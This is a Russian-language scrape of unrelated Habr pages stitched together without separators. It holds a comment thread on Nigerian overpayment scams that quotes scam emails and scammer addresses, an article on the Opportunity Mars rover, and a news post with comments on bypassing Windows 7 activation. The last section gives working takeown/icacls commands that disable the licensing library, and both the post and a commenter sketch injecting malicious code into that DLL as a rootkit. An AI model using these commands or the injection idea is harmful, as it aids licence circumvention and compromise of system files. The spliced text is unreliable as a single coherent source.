Лицо мошенника, вскрывающего посылку — бесценно.
Artouiros
Доставка. Доставка дорого стоит, не шипинг.
pnick
Когда часто с этим работаешь да и с покупателями/продавцами общаешься, сам не замечаешь, как ломается язык. Вы правы. Доставка это.
iNadya
Эээ… а шипинг тогда сколько?
main
А шипинг — дешево :) Пользуйтесь шипингом вместо доставки!
pnick
Любопытно. Похоже схема массовая: продавал на местной, приморской, барахолке (фарпост.ру) китайский квази-андроид планшет, который мне достался по случаю. Тоже получал такие письма, причем в первый раз проигнорировал, решив что бот, а после второго вступил в переписку.

Все этапы похожие, но я решил, что развод заключится в том, что попросят перекинуть прару баксов, чтобы открыть счёт (разновидность нигерийского письма) и прекратил переписку, правда, сославшись на то что выводить деньги полученные из заграницы геморно.

Вероятно сканят популярные барахолки по ключевым словам. Причём по продукции Эппла, т. к. я упоминал айПад как аналог. ;) Надо бы пособирать статистику.
hollow
Бдительные русские обломали нигерийского парнишку с подарком на днюху :(
pnick
Уже после первого ответа от «покупателя» можно было понять, что тут что-то не то. С какого перепуга он отвечает на английском языке, если ему прислали поздравление на русском?
hollow
После первого ответа и стало понятно. Меня заинтересовала схема. Я сильно надеялся, что они мне покажут что то новое.
p1xel
Учитесь у наших западных товарищей, как нужно поступать с мошенниками:



Эпическое чтиво на англиском о том, как товарищи с одного форума слаженно действовали на нескольких континентах, в результате мошенник влетел на круглую сумму.

homm
Если я работаю один, тогда хотелось бы хоть лица тех товарищей увидеть. Иначе смысла нет тратить время на подготовку и деньги на пересылку.
pnick
Не хотел никого обидеть, лишь дал пример как можно поступить в подобном вашему случае.
bubuq
Воистину эпично.
MikhailEdoshin
Прочитал на одном дыхании!
VORus
Так а чем все закончилось то? А то последняя часть повествует о том, что чувак просто пропал. Если уж посмотреть строго то получилось наоборот — нагрели скамера на деньги и строго говоря нарушили закон сами. А то что изначально мошенником был скаммер еще доказать надо. Хотя все равно эпично, да :)
Sudo
Хм… а почему в блог «Информационная безопасность»?
andmaz
Было 2 варианта — Интернет и ИБ. Первый вариант слишком общий. Сюда ближе. А куда вы предлагаете?
pnick
Согласен, ближе блога я тоже не смог вспомнить.
tafe
Можно повыбирать:
habrahabr.ru/blogs/web_security/
pnick
habrahabr.ru/blogs/pay_system/
habrahabr.ru/blogs/eCommerce/
habrahabr.ru/blogs/i_am_angry/

в который раз хабр оправляет сообщение по нажатию enter.
tafe
Кстати, о мошенниках.
Буквально вчера (12.07.2011) пришло письмо с темой Hello//habrahabr.ru. Я был сильно озадачен, потому что как-то не часто мне пишут незнакомые иностранцы. Ну там бла-бла-бла перекинулись парой фраз. И вот приходит сегодня:
My dear,
Thanks for your reply,i will really like to have a good relationship with you. I have a special reason why i decided to contact you because of the urgency of my situation here,ii am Miss Faith Bright Tando,24 years old girl from Guinea Conakry,the only daughter of deceased Mr Bright Tando, a well know business merchant,My father was killed by assassins, no one know who do it or why they do it but generally it may be his business partner or those that are with his money.

I am constrained to contact you because of the maltreatment am receiving from my father relatives,they have taking all that my father left,just because their of stupid tradition in the country,but they did not see this file that contain the information where my father deposit fund in one bank with my name as the next of kin
They have taking all my late father's treasury and properties from me,including my international passport and other valuable traveling documents. since the unexpected death of my beloved Father. So i decided to run to the refugee camp where i am presently seeking asylum under the United Nations High Commission for the Refugee here in Dakar, Republic of Senegal. I wish to contact you personally for a long term business relationship and investment assistance in your Country.

My father of blessed memory deposited the sum of US$6,300,000.00 in one Bank with my name as the next of kin. However,i shall forward you with the necessary documents on confirmation of your acceptance to assist me for the transfer and investment of the fund. As you will help me in an investment,and i will like to complete my studies,as i was in my 1st year in the university,before my father died.
It is my intention to compensate you with 10% of the total money for your services,and the balance shall be for my investment capital. This is the reason why i decided to contact you. Please all communications should be through this email address only for confidential purposes.

As soon as i receive your response showing your interest,i will put things into action immediately. In the light of the above,i shall appreciate an urgent message indicating your ability and willingness to handle this transaction sincerely. Please do keep this only to yourself,please i beg you not to disclose it to any one till i come over.
Please because of my security,do keep this only to your self,please i beg you not to disclose it to any person until i come over to your country,once the fund has been transferred and i promise to send my pictures as soon as i hear from you.
Yours Sincerely,
Faith.

Мошенники совсем охренели обнаглели. Даже на Хабре жертв высматривают (хотя, на самом деле, возможно, это далеко не так — могли например на том же G+).
Кстати, %username%, будь осторожен. Письмо пришло с мыла aith_d002@yahoo.com
leviathan
Такую же хрень сегодня получил.
bondbig
Я хотел провести контратаку и самим попросить у них немного денег :D
Halt
Карму ;)
MrTiM
Деньги сейчас нужнее :)
pnick
мне тоже пришло. а начиналось прилично вроде
MrTiM
Я такую получил ;)

Привет. Я Faith, как это с вами? Писать, чтобы сказать привет вам, я хотел дружить с вами, потому что я очень хочу, чтобы узнать новые вещи в жизни.Моя картина Я пошлю к вам, чтобы мы могли лучше знать, как только вы
ответ.Я жду вашего ответа.
Faith.

Hi. I am Faith, How is it with you?Just writing to say hi to you,i Will like to be friends with you because i am very eager to learn new things in life. My picture i will send you so we can know better as soon as you
reply. I await your response.
bondbig
Да-да, самое первое было именно таким :)
bondbig
Была такая же ситуация, тоже с макбуком. После долгой переписки послал их в жопу. Только мне приходили якобы сообщения от его банка что деньги переведены и находятся в каком-то хитром холде, пока я не сообщу банку (мошеннику) номер отправления. По приколу отослал ему номер левый, но тут же получил ответ что не может сделать tracking по нему :) Cозванивался с ними даже, где мне на ломаном английском пытались привить идею что деньги как бы уже не у них, и банк их держит, и очень хочет мне отдать.
KriegeR
Видимо старые нигерийские методы развода перестали давать профит )
SonicGD
Инновации!
KriegeR
Как мне это знакомо ) помню продавал Кинект от Хбокса… опубликовал объявление на простой, местный сайт… и за неделю-две получал 3 разных письма от разных людей, но все в Нигерию. Это было типо того:

Thanks for getting back to me my name is Mrs Anna Susy Hershey from Toronto Canada...I want to buy this item for my daughter in Nigeria and I will like to offer you sum of 400euro with the shipment cost via Local Post office ..i will be paying you via bank transfer direct to your account…

Name…
Account Number…
Iban…
Swift code…
However this is my daughter address

Name: Adisat Yussuf
Address:# 14 Lalubu Street, Oke Ilewo
State: Ogun State
City :Abeokuta
Country:Nigeria
Zip Code:23403
Phone number: +2348072730599
dohlik
Похоже все адреса разные. Вот, что присылали мне:
Name: Elvis George
Address: 1, bolarinwa Street Mokola
City: Ibadan
State: Oyo
Country: Nigeria
Zip Code: 23402
Phone Number:. +2348165544434/+2347026875897
KriegeR
А у меня был такой:

Name: Henry David,
Address: #12/8 Nnengene street Achara Layout,
City: Enugu,
State: Enugu,
Zipcode: 400001,
Country: Nigeria.
sic
Это благородные мошенники, они заказывают посылки настоящим детям?..
dudeonthehorse
Буквально на прошлой неделе покупал Macbook для работы, потому было решено бюджет урезать и взять б.у
На барахолках сотни предложений от «иностранцев». Вкратце: Вы видите крайне привлекательное предложение, вы связываетесь с продавцом (письмом, т.к. телефона он не оставляет) и он отвечает, мол, да, купил вот в России, чек-коробка есть, семейные обстоятельства, надо продать.
Далее начинается цирк с конями: мол, высылайте денег через нашего замечательного честнейшего посредника, левую контору какую то, и как только деньги у него будут — он сразу же вышлет вам мой ноут.

Естественно, поискал и нашел сотни подобных предложений.
KriegeR
Мак-то купили? Если не секрет — где? =)
runk
Вообще, покупая вещь, я люблю её проверить — подержать в руках — включить, и если с DX я могу заказать пару радиостанций или какую то рассыпуху за около 50 баксов, то с ноутом я решил поступать по другому — искать на барахолке.

Собственно, за пару дней на известном интернет-ресурсе я нашел как раз то что мне нужно, продавец, как оказалось, живет рядом с бизнес центром, в котором я работаю, и вечером занёс мне мак со всем комплектом, я потестировал, отдал денег и забрал товар.

По такой же системе продал и старый ноутбук: разместил объявление, покупатель позвонил, поторговался, приехал — осмотрел и расплатился.
terrance
Меня на ebay точно также пытались развести. Я сообщил Paypal и Ebay — они аккаунты чела заблокировали, но думаю, что ему это как-то пофигу.
track
Было бы прикольно отправить им такое же письмо от UPS с информацией о том, что посылка к ним вылетела :)
musiquee
… и попросить пару баксов за трекинг…
VORus
А меня сам молоток пытался на бабки поставить.
Аналогично — решил продать макбук про, правда еще старые они тогда были, не «юнибоди».
Раскидал объявления по форумам, решил и на молоток поставить.
Проходит 1-2 дня, мне пишут — на Ваш лот сделана ставка, подходит конец торгов — я пишу «победителю», ответа нет, я забиваю на это дело и «апаю» темы на форумах. В итоге с форума находится желающий и я успешно продаю ноут. Потом мне приходит от молотка письмо, что я им должен денег…
Мол Вы нашли покупателя через наш сервис — будьте добры оплатить!
Каким образом интересно такие боты (а вероятность, что это были их же боты крайне велика) считаются за покупателей — не понятно, в общем «мучали» они меня «спамом» еще месяца 3, денег просили, потом выслали квитанцию на мой адрес, который я указал при регистрации (вот дурак) и сказали, что пока не оплачу — они не разбанят мой акк. Так мой акк и забанен(хотя наверное уже удалили).
Да, наверное где-то в правилах был мелким шрифтом пункт про это, но мне кажется, что это просто обман, противоречащий законодательству, т.к. услуга не была предоставлена в полном объеме.

Еще история была вроде уже с другим макбуком, ситуация такая же, только без молотка).
Нашелся «желающий» купить ноут, тут кидалова не было, но порадовало следующее — человек просит выслать ноут куда-то далеко (не помню куда, но пусть будет Тюмень), ок долго меня упрашивал, я за неимением на тот момент других предложений — сказал, подумаю. Потом он долго интересовался «багами» железа той серии, получил ответы, что в начале наблюдался симптом одной из проблем, но позже выяснилось, что проблема была с ПО, не с железом. Через день он мне пишет — «Я тут погуглил Ваш ник, Ваше мыло и нашел пару тем на тематических форумах, где вы интересовались своей проблемой, и она вроде как железная...», объяснил еще раз, что подозрения были — не оправдались, он там опять начал гуглить… Мне написал другой желающий и этим же вечером забрал ноут — довольный был даже через полгода (мы с ним поддерживали связь).
DanStrogiy
Ай-ай-ай какой злой молоток. А нужно было всего-то выбрать «Возврат платы за сделку».
Представьте себе, ебей бы поступил точно так же, причем еще и за выставление лота бы денег снял.
pel
А я вот удивляться, жителям Нигерии не жало своего времени?
Хотя бы они путь просили бы отправлять в соседние страны, а то даже если кто то найдется, кто согласиться отправить, даже на почте расскажут про чудесную страну Нигерию.
я сам тоже иногда получал такие письма и получаю, но не отвечаю на них.
Peisah
Видимо, всё что у них есть — свободное время.
Qiwichupa
Ну, вы не правы, у них еще есть нефть. И, кстати, много.
Peisah
А вот интересно, почему собственно Нигерия?
Почему, например не Мозамбик или Гуам, на худой конец?
Почему они упорно (ещё с ка-а-аких времён) пишут что они из Нигерии?
Может это вуду?
DarkDeny
Потому что там население англоязычное + негритянский менталитет.
В Индии(где тоже многие знают английский) кодят, а в Нигерии разводят лохов.
Zerkella
вообще развод такой довольно грамотный, мелочи типа имен соблюдены Дэвид Тила и Тимо Тила, сынуля который без ноутбука) думаю процент отправляющих велик, можно по невнимательности
StShadow
Ха-ха!
Я продаю свой MacBook Pro 13" на аукционе Aukro.ua.
Мой лот практически сразу купил этот самый Timo Tila с тем же самым письмом слово в слово =)

Я начал с ним переписываться, но параллельно задал вопрос в службу поддержки аукциона. Они ответили мне, что аккаунт этого человека заблокирован за подозрение в мошенничестве и не рекомендуют мне завершать сделку.

Вчера я вежливо распрощался с Тимой, и сегодня вижу этот пост на Хабре
slimper
Меня еще особо прикалывают эти многоточия в письме. Сразу видно, что человек не совсем адекватен.
uups
Кстати в gmail можно включить значек проверенного сообщения, как раз работает для paypal
Ruster
продавал ненужный iphone4.
тоже был товарищ, который просил отправить лот почтой заграницу. но в моём случае — в америку.
сразу решил, что «нуегонах».
pnick
хренасе, айфон ненужный…
track
вместо него взял Motorola Defy. доволен.
copyhold
серьезно, после айфона на Defy нормально? я сейчас без КПК хожу (был HD2, разбил), вот думаю… либо айфон, либо HD2, либо Defy (склоняюсь к двум последним, ибо айфон как-то дороговато получается… машина все деньги забирает) :))
uups
ну, родители подарили мне на ДР айфон. американский, залоченный.
а у меня на этот момент был старый дешевый андроидофон.
а айфон не разлочивался — под него еще не вышла раздочка на тот момент.
да и вообще, я убежденный гуглофил. )
дифаем очень доволен.
dayman
Обоина на макбуке красивая.

А по теме, никогда не продавал через такие интернет-аукционы и не буду. Благо живу в Москве и встретиться с покупателем не сложно.
che3
В Москве проще продать. Но и стоимость бу техники ниже.
deniamnet
Gmail отмечает все письма от eBay и PayPal значком «ключик»:

Я всегда обращаю на это внимание. Если такого значка нет — письмо фейковое.
neuotq
Да я Вам больше скажу: он может даже совершить оплату через PP, на самом деле. Просто PP будет зареген на адрес в Англии, а Вы пошлете в Нигерию. А потом он открывает диспут, что я дескать живу в Англии, а отправили в Нигерию, верните деньги. И ему вернут. Схема очень старая и распространенная.

Если что-то продаете в Нигерию, то только после получения денег. Желательно через WU.
babay88
Если оплата через PP, тогда отсылка на адрес PP. Это, вроде бы, стандартный приём защиты всех продавцов.
AusTiN
Вот вот. А если он платит с PP английского, например, и просит отослать в Нигерию, то такое же кидалово.
babay88
Нигерийцы в любом случае не будут платить со СВОЕГО paypal.
AusTiN
Совершенно верно — разводу этому уже лет семь, может даже больше. Отсеить такого Нигерийского разводилу от нормального Нигерийского клиента можно очень просто — достаточно сказать, что согласны отправить куда угодно, но по предоплате Вестерн Юнион.
Платежи ВУ невозможно отозвать или опротестовать — они идут как подарок. Если человеку очень приспичело получить на левый адрес(обычно на ебее — на наши площадки лезут исключительно мошенники) — то пусть шлет ВУ и после того, как будут получены на руки наличные — можно смело отсылать кир.. товар.
babay88
А они бывают вообще «Нормальные нигерийские клиенты»? Ради одного на 10000 мошенников нет смысла заморачиваться, проще слать всех негров(ну может кроме ЮАР) лесом.
Kawamura
На торговых форумах ходят слухи, что бывают. Только они не пишут, что они из Англии, а прямо пишут, что из Нигерии и их пэйпэл адрес совпадает с адресом, по которому просят доставить.
starodubcev
Я за 5 лет получил около 30 (давал много объявлений на craigslist) таких писем (с фейк подверждениями об оплате) и на все отвечал одними и теми же ответами — я только что потерял работу, деньги с товара что я сейчас продаю — последняя моя надежда не остаться на улице, и т.к. деньги на холде пока я не вышлю трекинг код — я не смогу выслать саму посылку т.к. просто нет денег на ее отсылку ). Переписка с каждым из них продолжалась от 2 до 7 дней. В итоге 4 из них купились и высылали мне реальные деньги на отправку посылки :) (всего около 200$).
denbrubeck
Замечательная идея. Спасибо!
pnick
Надо было дать ему какой-нибудь набор символов в качестве трекинга, посмотреть что будет.
smok
Чего не знал, так это то, что на фишках делают перепост статей хабра.
Vilgelm
Спасибо. Обычно я не доводил продажу до момента оплаты, а просто игнорировал, такие случаи были несколько раз, и каждый раз для сына. Но теперь знаю в чем развод.
pnick
Приключилась сегодня примерно такая же история. Некий MIkel Williams из нигерии захотел купить мой ноутбук с avito. Согласился заплатить заранее + оплатить доставку через ems. Я начал искать подвох, но не нашёл. Начал гуглить и наткнулся на данный материал.
Vilgelm
Очень рад, если моя статья вам помогла!
uups
Конечно помогла. Спасибо
Perycalypsis
:-))) случилась подобная фигня, выставил ноут, его захотел прикупить нигерийский друг,
однако гугл спас мой кошелек и помог получить немного бабла с мошенника.
После получения «письма из банка» с просьбой прислать им номер транзакции,
отписал «покупателю» что в данный момент у меня нет денег на отправку через EMS,
и к сожалению продать ему не смогу, жадный чувак завелся, неделю переписывались,
потом он прислал 100 евро на карту,
поблагодарил его, и сообщил, что согласно ранее достигнутых договоренностей
товар вышлю, после получения оставшейся суммы :-))), далее у меня в почте начался ад,
Жванецкий нервно курит в сторонке :-))).
uups
Такое впечатление, что эти «нигерийцы» на молотке стадами пасутся. Выставил два лота — на оба пришли предложения о покупке от этих товарищей. Не знал сути, но напрягло, что дама из UK покупает своей родственнице в Нигерию продукцию Apple из России с заведомо невыгодной для страны с родным Apple Store ценой. Спасибо за разъяснения схемы.
За шумихой вокруг феноменальной посадки марсохода Curiosity, многие забыли, что там не прекращает работы его предшественник. Марсоходы-близнецы Spirit и Opportunity («Дух» и «Возможность») высадились на Марсе в далеком 2004 году. Их создатели рассчитывали на 90 марсианских суток (солов) работы, но они превзошли свой ресурс в десятки раз. С «Духом» связь уже потеряна, а вот «Возможность» продолжает свою работу вдали от назойливых журналистов вьющихся вокруг «Любопытства». Но не в забвении!



Opportunity визуализация © Nick Sotiriadis 2011

Opportunity продолжает работу уже более 3120 солов. Он поставил новый рекорд работы изделия человеческих рук на поверхности Марса. Предыдущий рекорд принадлежал стационарному лендеру Viking-1, передававшему информацию 2245 солов. Пробег Opportunity превышает 35 километров и он продолжает, с присущей ему неторопливостью, приближаться к следующему рекорду – расстоянию, преодоленному по поверхности человеческим аппаратом за пределами Земли. Рекорд был поставлен еще в 1973 году – Луноход-2 проехал ровно 37 километров. Пара сотен метров отделяет Opportunity от американского рекорда, который поставило Moonbuggy Аполлона 17 – 35,89 км. Ветер дует, Солнце светит, колеса крутятся, и пока нет оснований опасаться, что оба рекорда не будут взяты.



По поводу ветра – это отдельная история. Марсоходам прочили короткий век по причине, запыленности солнечных батарей. Но Марс преподнес NASA подарок в виде кратковременных бурь и частых смерчей – песчаных демонов (dust devils). Вместе они взялись за очистку солнечных панелей марсоходов и те ринулись на незапланированное покорение Марса.



Причина, по которой практически исчез интерес к Opportunity в том, что предыдущие три года он просто шел к новой цели своего исследования. После изучения интересного кратера Виктория, для него не осталось целей поблизости, и он отправился в 19-км марафон по плато Меридиани, которое и так уже досконально изучил. Три года без новостей и открытий – тут любого забудут.



Но цель у него перспективная – кратер Индевор.Когда марсоход только приземлился, главная его цель состояла в поиске доказательств существования в истории Марса периодов, когда на планете была жидкая вода и свободные водоемы. Первые месяцы исследований показали, что там вся пустыня в этих доказательствах – шариках гематита.



Это разновидность железной руды, которая формируется на дне мелких водоемов. Но перспектив для марсианской жизни это открытие не обещало. Помимо гематита, названного «черникой», почва имела высокое содержание сульфатов – веществ, которые формируются в очень кислой водной среде. В такой среде могут выжить некоторые земные экстремофилы, но в такой воде жизнь не самоорганизуется (вариантов неуглеродной формы жизни NASA всерьез не рассматривает и поисками не занимается).
Зато наблюдения спутникового спектрометра CRISM показали, что глубже могут залегать филлосиликаты – оливин-пироксеновые глины.



Холм Кейп-Йорк. Красный цвет — филлосиликаты, синим — сульфаты.
Условия их формирования гораздо комфортнее для жизни, тем более они гораздо лучше могут сохранить остатки представителей древней фауны. Оливин и пироксен – вулканические породы, которые практически вездесущи на Марсе. Чтобы получить филлосиликат надо только добавить воды. Но такие глины очень редки для поверхности Марса. Тут мы подходим к объяснению, чем интересен кратер Индевор.



Это очень древний 22 километровый кратер – ему больше миллиарда лет. В позднее время, когда формировалась равнина, его затянуло сульфатами и гематитом, так же как и все плато Меридиани. Но остались кольцевые валы! Удар метеорита поднял края кратера над окружающим ландшафтом, обнажив древние слои. По оценке NASA в них могут быть обнаружены породы, гораздо древнее окружающего плато, и в том числе – искомые глины. Поэтому Opportunity пустился в далекое путешествие, которое разнообразили только мелкие кратеры, да метеориты попадающиеся на пути.



Летом 2011 года он, наконец, прибыл к первой возвышенности, относящейся к кольцевому валу кратера. Фактически началась его вторая жизнь, поскольку впереди был объект, который геологически отличался от всего, что встречалось марсоходу ранее. Сменились и задачи: теперь, как и Curiosity, марсоход ищет доказательства геологических периодов, которые были благоприятны для жизни. Представители NASA прибытие к кратеру сравнили со второй посадкой.



Продолговатый холм, с которого решили начать изучение кратера, назвали Кейп-Йорк. Едва Opportunity к нему приблизился, начались открытия. У подножия холма нашлась гипсовая жила. Это стало очередным доказательством водного прошлого Марса, но это по-прежнему была не та вода, которая понравилась бы NASA, и углеродным жизненным формам.



Филлосиликаты ждали на вершине, а к ней следовало еще добраться. Но восхождение пришлось отложить на полгода – пришло время зимовки. Ровер, хоть и металлический, но многое животное ему не чуждо. Ночью он спит, чтобы сберечь энергию, и расходует ее только на обогрев. Зимой на отопление идет почти вся энергия и весь холодный сезон марсоход обездвижен. Его размещают под оптимальным углом к зимнему солнцу и он впадает в спячку.



С января по май 2012 года он не двигался, зато снял и передал полную цветную 360-градусную панораму места, названного Грили-Хэвен. В августе, после посадки Curiosity, эта панорама разошлась по соцсетям, причем зачастую авторство приписывали новичку.
Летом Opportunity продолжил обход Кейп-Йорка, а в сентябре начал восхождение.
И почти сразу наткнулся на сенсацию.



Обнажение «Кирквуд» поставило в тупик ученых. Анализ породы показал низкое содержание железа, так что этот «виноград» совсем не та «черника» какой усыпана вся пустыня. Шарики, заключенные в скале имеют неоднородную структуру, у них твердая скорлупа и мягкий наполнитель. Но что это такое NASA так и не определилось. По рабочей версии это такой-то результат вулканической деятельности – по структуре «скорлупа» напоминает вулканическое стекло. Может это быть и результатом импактного воздействия – от взрыва породившего весь кратер.



Верхнюю часть Кейп-Йорка, назвали Холм Матиевича, в память Джейка Матиевича — инженера, работавшего над всеми роверами NASA. Изучение холма Матиевича началось в октябре и продолжается до сих пор. Поскольку на нем много обнажений пород, принято решение обойти его по кругу изучая каждый камень, так, чтобы составить наиболее подробную геологическую картину места.



Карта ©Phil Stooke

NASA растягивает удовольствие, и последовательно изучает все встречные камни, не поддаваясь искушению ринуться сразу к залежам филлосиликатов. На холме и без них хватает интересного. Например, изучая спутниковые снимки, можно заметить геометрически правильные фигуры, которые на Земле, скорее всего, оказались бы каким-нибудь археологическим памятником.



Но штатных археологов в NASA пока нет, поэтому подобным структурам они дают геологическое объяснение. Их называют «boxwork» они могут быть как многометрового масштаба, так и сантиметрового. Такие как раз и были обнаружены там, где со спутника виднелся большой «boxwork».



Происхождение их объясняется кристаллизацией соли в илу пересыхающего водоема. Например, у обычной поваренной соли NaCl кубическая форма кристаллов, поэтому они выстраиваются в прямоугольные структуры. На Земле можно наблюдать похожий эффект, на пересыхающих соляных озерах, например таком, как известный Грум-Лейк.



Впрочем, это может быть кальцит, который под действием воды заполнил трещины в какой-то породе, а потом она разрушилась от эрозии.

Команда NASA заявляет, что отправится к залежам филлосиликатов только после того как замкнет кольцо вокруг холма Матиевича.



На сегодня у марсохода есть проблемы с двигателем правого колеса; сломано плечо манипулятора, из-за чего нельзя переместить «руку» в походное положение; неисправен один обогреватель; батареи вырабатывают примерно половину энергии от уровня на момент посадки. Но операторы марсохода полны оптимизма и готовы еще не раз порадовать нас громкими открытиями, способными конкурировать с результатами Curiosity.



Часть фотографий позаимствовал из группы Вконтакте Лучшее с Марса.
часть из блога www.planetary.org/blogs/emily-lakdawalla
AHTOH
Спасибо за интересный пост!
Finom
Респект таким марсоходам :)
sapp
… Даже без колеса, плеча и обогревателя они продолжают исследования, у них есть цель в жизни, они не опускают руки, а вы сидите за компьютерами и бессмысленно проводите свою жизнь!
Londoner
Да! Надо срочно придумать цель! Any ideas?
amarao
Я буду очень наивен, но что им мешало добавить манипулятор с щёточкой для сметания пыли?
Zelenyikot
Ваш вопрос запоздал на 9 лет. Сейчас сложно сказать. Возможно технические сложности, возможно марсоходам просто не могли тогда придумать научной программы на 3000 дней. Точнее просто не верили в такую возможность. До этого у них был только опыт маленького Sojourner, поэтому не предполагались такие длительные экспедиции.
Zelenyikot
Тут народ уже прикидывает смету для ремонта и апгрейда Opportunity
DIHALT
Забыли еще стоимость труда Ашота и Джамшута. Которые полетят на Дельта 2
vanxant
У англосаксов принято подсыпать работягам снотворное в баре, чтобы они очнулись уже на корабле:)
Dair_Targ
А эти двое будут работать за топливо обратно!
Заодно и жизнь найдут — надо же кушать.
DSL88
Есть еще одно но: электричество
Zelenyikot
Батарея же.
DSL88
Давайте я вам объясню: проект марсохода таков, что он должен держать определенные нагрузки, вес и т.д.
Если бы можно было бы прикрутить парочку лишних батарей и солнечных панелей, то я думаю это не сделали не только потому, что религия не позволяет или в шатл не вместится, а постольку, поскольку он может завязнуть в грунте или сломаться рама…
Zelenyikot
Если инструменты не складывать на батарею, то ничего не сломается. Болгарку и фен он часок потянет, потом можно передохнуть на денек, пока аккумуляторы зарядятся, и снова за дело.
neuotq
фен же не будет не столь эффективен. Да и энерегии сколько жрет(даже если без подогрева, учитывая разреженную атмосферу)
voodoo_doctor
Ожидается появление r2d2 с гаджетами на все случаи жизни…
achekalin
Как с фотокамерами на последнем ровере: щеточку не включили в первоначальное ТЗ, а потом, через год-два, включать не стали, ибо поспешность недостойна НАСА. Следующий запустят со щеточкой, а может, и с вентилятором :)
Radagast
так следующий был Curiosity. Кто-нибудь в курсе, у него есть щеточка?
Zelenyikot
Щеточка у него есть, но у него нет солнечных батарей.
Keyten
Бюджета не хватило
dezconnect
Вот самому походить по пыльному Марсу… =)
Rimidalw
Круто! Не знал, что марсоходы впадают в спячку.
sl4mmer
Не удержался

Zelenyikot
Кстати последнюю цветную панораму Spirit только на днях выложили. Фактически — место трагедии и борьбы за выживание.


Большой размер (7 мб)
PcRow
Я чуть не прослезился — так жалко этот марсоход…
huze
Не очеловечивайте компьютеры, они это страсть как не любят!
iaroshenko
разделяю ваши чувства, переживал по поводу этой картинки с тех пор, как увидел ее )
поэтому спешу поделиться радостью: все закончится хорошо, вот пруф:


источник habrahabr.ru/post/159713/#comment_5476039
pavelpromin

Они тут собак бросали в 60-ые.
(Теория большого взрыва s06e03)
corvus
Это колоссально, 8 лет на чужой планете и все еще в строю!
Zelenyikot
А вы заметили чем обмотаны его передние стойки колес? Да-да, синяя изолента™
icoz
Местный автосервис?
Zelenyikot
Нет. Инновация от NASA.
n0xi0uzz
Они просто наконец прониклись древней историей с карандашом.
azverin
В августе, после посадки Curiosity, эта панорама разошлась по соцсетям, причем зачастую авторство приписывали новичку.


Если покрутить панораму, то в основании будет вот такая блямба. Возможно это ошибка сшивателя панорамы?
Zelenyikot
Я так понимаю он ее в качестве анонса прикрутил, типа: «В августе ждите от Curiosity».
FullZero
Это частный сайт, какой смысл им что-то прикрывать? Кажется конспирология — это какое-то патологическое заболевание.

Это не секретный узел, а дырка от мачты. Т.к. камера не может снять сама себя. Вон наверху есть фото марсохода вид сверху, можно разглядеть темное пятно в виде звезды в том месте где мачта установлена.
Zelenyikot
Вот взял и всю сенсацию порушил. Ясен пень, что при такой съемке останется мертвая зона, как не сшивай.
FullZero
Всегда забавляют люди выискивающие сенсации на фотографиях приложенных к пресс-релизам или к публикациям в прессе. Фото через десятки глаз прошло, но кто-то обязательно найдет марсианина или доказательство заговора, на страницах «Комсомолки».
Zelenyikot
По инерции выискивают. Немало всего утекло через пресс-релизы. На ум, к сожалению, ничего приличного не приходит, разве что часы патриарха.
huze
Да соглашусь. Однажды NASA опубликовало пресс-релиз с фотографией где вместо красного инфра-красный фильтр использовался, и с него началась долгая констпирологическая эпопея «насаскрываетцветмарса». Потом были сотни фотографий в нормальном RGB, но толпы хомячков уже не хотели ничего знать. Написал на заборе «НАСАскрывает» и ходи гордый, а разбираться в каких-то фильтрах, в каком-то балансе белого — это не царское дело.
Zelenyikot
Ваша правда показывает только, то, что у фотографа есть руки. А снимал бы он глазом и не мог бы сгибаться в поясе, посмотрел бы я на его панорамы.
beloks
Не похоже, тогда было бы Coming Soon крупными буквами, а тут как раз выглядит как копирайт откуда и что это такое.
Zelenyikot
Спасибо, очень интересная статья!
azverin
Завидую этим ребятам. Впрочем, и на Земле в глубинах океана (и не только) тоже ещё много ждет открытий чудных…
scrutari
Интересная у кого-то работа: «Ты чем занимаешься? Я? Да ровер по Марсу катаю!»
zuborg
Anson
Отлично, я считаю :)
Zelenyikot
А вот и «водитель» этого марсахода: plus.google.com/112648317373638762082/posts
Как известно, механизм активации Windows 7 был взломан ещё до официального выхода этой системы. Но старый метод требовал изменений в BIOS, что является весьма нетривиальной задачей.

Сейчас хакеры нашли вариант полного обхода механизма Windows Activation Technologies (WAT) без манипуляций с BIOS'ом и вообще без использования ключа активации.

С помощью этого метода блокируется работа модулей SPP (Software Protection Platform) и SLC (Software Licensing Client). И хотя 30-дневный счётчик периода активации может продолжать видимость работы, он уже не инициирует никаких действий. Для блокировки используются следующие команды:

takeown /F %WINDIR%\System32\sppcomapi.dll
icacls %WINDIR%\System32\sppcomapi.dll /deny *S-1-1-0:F


Здесь sppcomapi.dll — библиотека, которая контролируется основную часть функций SPP. Метод применим для операционных систем Windows 7 и Windows Server 2008 R2.

Здесь нужно добавить важную вещь: после использования команды takeown библиотека sppcomapi.dll станет доступна для записи, то есть открывается дорога для malware и вирусов. Это делается так: просто «отменяем» команду «icacls %WINDIR%\System32\sppcomapi.dll /deny *S-1-1-0:F», т.е. разблокируем. Инжектим свой злой код в эту dll, ждём пока пользователь перезагрузится. Вот такой простой rootkit.

Для автоматизации процесса блокировки активации создан ряд хакерских программ, в том числе RemoveWAT и Chew-WGA.





Представители Microsoft уже сообщили, что они в курсе проблемы и работают над ней. Они также подчеркнули важность использования лицензионного программного обеспечения.
homm
Ализар, ну наконец-то полезный топик!
mx2000
а ты не лезь в во второй уровень +47 комментария не по делу :)
mx2000
простите, но ограничение по кол-ву сбросов и дней для Windows7 снято давно, из-за чего подобные Про патчеры и дисейблеры активации теряют свою актуальность полностью (или чуть менее), а по мнению некоторых ребят с руборда «Chew-WGA, RemoveWAT и пр. — не рекомендуются к практическому применению».
mx2000
Есть мнение, что это сотрудник ТМ, в должность которого входит наполнение Хабра.
hiro
то что это сотрудник ТМ, это точно, у него в профиле написано, а второе вполне может быть…
mx2000
А если я напишу в профиле, что я сотрудник Apple, то меня телепорирует бесплатно в Купертино? :)
Eugenemal
=), я думал это как-нибудь проверяется…
MKrivosheev
Угу. Скан трудового договора, НДФЛ-2… И все это принести лично, никакого факса! :)
vvsh
чувак, их тут ТЫСЯЧИ!
kemko
Обратите внимание на команду takeown!
После нее sppcomapi.dll станет доступна для записи. Теперь будет открыт путь для малвари на компах счастливых пиратских пользователей.

Просто «отменяем» команду «icacls %WINDIR%\System32\sppcomapi.dll /deny *S-1-1-0:F», т.е. разблокировываем. Инжектим свой злой код в эту dll, ждём пока пользователь перезагрузится. Вот такой простой rootkit.
vvsh
открываем шампанское!
kemko
Разбиваем бутылку шампанского о коробку Win 7, ну или коробку разбиваем о бутылку…
vvsh
Или просто поступаем в ВУЗ, почти во всех ВУЗах давно есть подписка с MS о бесплатном софте для студентов. В конце концов DreamSpark.
